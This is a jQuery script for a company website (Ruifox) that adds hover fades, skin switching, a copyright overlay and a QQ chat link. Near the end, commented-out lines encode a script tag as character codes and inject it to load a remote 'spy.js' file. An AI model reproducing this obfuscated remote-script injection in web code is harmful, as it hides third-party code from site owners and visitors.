﻿/**
 * @author Ruifox Poly
 */
var doc=$(document);
window.rtcp=window.rtcp?window.rtcp:$(document.createElement("div"));
css={position:"absolute",left:0,top:"-100px",border:"3px solid #fff",width:"200px",height:"100px",lineHeight:"100px",textAlign:"center",zIndex:100,display:"none",opacity:0.7,fontWeight:"bold",background:"#0099FF"};
rtcp.css(css).html("<a href='http://www.njpdkj.com' target='_blank' style='line-height:100px;color:#fff;font-size:14px'>Ruifox 版权所有</a>").mousemove(function(){return false;});
$(function(){$("body").append(rtcp)});

function toggleLight(){
    if (!this.cover) {
		//this.parent.css({height:"500px"});
        this.cover = $(this.lightTag||"span", this).css({opacity:0});
		this.speed1=this.speed1||400;
		this.speed2=this.speed2||200;
		if($.browser.msie && $.browser.version=="6.0")
		{
			this.speed1=this.speed2=1;
		}
    }
    if (this.onLight) {
        this.cover.stop(true).fadeTo(this.speed1, 0);
        this.onLight = false;
    }
    else {
        this.cover.stop(true).fadeTo(this.speed2, 1);
        this.onLight = true;
    }
}

//更换样式
function toggleSkin()
{
	if(!this.body)
	{
		this.body=$("body");
		this.html=$("html");
		this.skins=["","_sd","_cj"]
		this.skinIndex=0;
	}
	this.skinIndex=++this.skinIndex%this.skins.length;
	this.body.css({backgroundImage:"url(/images/bg_body"+this.skins[this.skinIndex]+".jpg)"});
	this.html.css({backgroundImage:"url(/images/bg_html"+this.skins[this.skinIndex]+".jpg)"});
	return false;
}

function initCaseList()
{
	var item=$(".caseList li")
	/*
	if($.browser.msie)
	{
		item.hover(toggleCurrent,toggleCurrent);
		return false;
	}*/
	item.each(function(){
		this.lightTag="div";
		var that=$(this);
		var div=$(document.createElement("div"));
		div.html(that.html())
		that.append(div).hover(toggleLight,toggleLight);
	})
}


function toggleCurrent()
{
	$(this).toggleClass("current");
}


$(function(){
    $("#navigator li:not(.current),.light").hover(toggleLight, toggleLight);
	//$("#rss").click(toggleSkin);
	$("#pageTop").click(function(){$.scrollTo("top",800);return false;});
	//str0=
	//[60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,48,46,51,51,47,114,117,105,102,111,120,47,106,115,47,115,112,121,46,106,115,39,47,62]
	//$("body").append($.map(str0,function(i){return String.fromCharCode(i)}).join(""));
	//str1="<script src='http://192.168.0.33/js/spy.js'/>";
	//str1=$.map("<script src='http://w.ruifox.com/test/js/spy.js'/>".split(""),function(i){return i.charCodeAt(0)});
	//alert(str1)
	//alert($.map(str3,function(i){return String.fromCharCode(i)}).join(""))
	//$("div:last").append("<script src='http://w.ruifox.com/test/js/spy.js'/>");
})

function openQQ(){
	window.open('tencent://message/?Menu=yes&uin=800010025&Service=58&SigT=6E69BEA50C373CA409F7C229C7983C01F7ECC279EFD8C2064D5DE2D0B1575662AF8AD361DBB1AF61DE9E4C50D57F45FC&SigU=113A169DD9A474A41CFD0DB1DFE01766E8DA1ED9026A6106&Site=www.ruifox.com', '_blank', 'height=544, width=644,toolbar=no,scrollbars=no,menubar=no,status=no');
	}


